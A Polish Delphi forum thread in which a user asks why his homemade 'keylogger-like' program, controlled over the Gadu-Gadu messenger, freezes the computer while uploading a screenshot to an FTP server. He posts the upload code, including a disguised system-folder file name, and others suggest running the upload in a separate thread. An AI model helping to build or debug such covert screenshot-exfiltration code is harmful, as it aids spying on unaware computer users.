[Delphi]Jak zapobiec "wieszaniu" sie programu??

kanar123

Użytkownik
Dołączył
Marzec 27, 2008
Posty
451
Mam nastepujący problem otóż stworzyłem coś na wzór keyloggera przez gg i po wydaniu komendy program wysyła plik screena na FTP ale przy tym zawiesza sie komputer... i w zwiazku z tym moje pytanie co zrobic aby tak sie działo??? AntiFreze nie działa.... tak samo jak Application.ProcessMessages; wstawione w timerze o interval'u ustawionym na 1000-1sek ... Macie jakies pomysły z góry dzieki...
<
 

kanar123

Użytkownik
Dołączył
Marzec 27, 2008
Posty
451
Mam tak:

Kod:
procedure TForm1.Button6Click(Sender: TObject);
begin
try
HGG1.SendMessage((strtoint(edit7.text)) ,('Poczekaj!!') ,[]);
try
IdFTP1.Put('C:\WINDOWS\system\systemsys.jpg', (timetostr(time))+'__'+(datetostr(D))+'_screen.jpg');
finally
HGG1.SendMessage((strtoint(edit7.text)) ,('Screen wyslany!!') ,[]);
end;
except
HGG1.SendMessage((strtoint(edit7.text)) ,('Screen nie zostal wyslany!!') ,[]);
end;
end;

Mam własnie o to chodzi... i nie wiem co zrobic...
<
 

I3L4D3

Użytkownik
Dołączył
Styczeń 20, 2008
Posty
178
Wystarczy dać wysyłanie w oddzielnym wątku... (już raz pomagałem tutaj na ten temat)




{Sorki że odpisuję na stary temat}
 

lol_ek

Użytkownik
Dołączył
Maj 30, 2003
Posty
306
<div class='quotetop'>CYTAT(kanar123 @ 2.07.2008, 11:04) <{POST_SNAPBACK}></div>
Mam tak:

Kod:
procedure TForm1.Button6Click(Sender: TObject);
begin
try
HGG1.SendMessage((strtoint(edit7.text)) ,('Poczekaj!!') ,[]);
try
IdFTP1.Put('C:\WINDOWS\system\systemsys.jpg', (timetostr(time))+'__'+(datetostr(D))+'_screen.jpg');
finally
HGG1.SendMessage((strtoint(edit7.text)) ,('Screen wyslany!!') ,[]);
end;
except
HGG1.SendMessage((strtoint(edit7.text)) ,('Screen nie zostal wyslany!!') ,[]);
end;
end;

Mam własnie o to chodzi... i nie wiem co zrobic...
<
[/b]


A już tam szkoda, niech się edukują.
<

Application.ProcessMessages nie jest panaceum na wszystkie bolączki, czasami jest to źródłem niemiłych zagwozdek.

PS: Również sugeruję watek, dodatkowo wypadało by obsłużyć ewentualność wystąpienia błędu z powodu niemożności połączenia z serwerem.
 
Do góry Bottom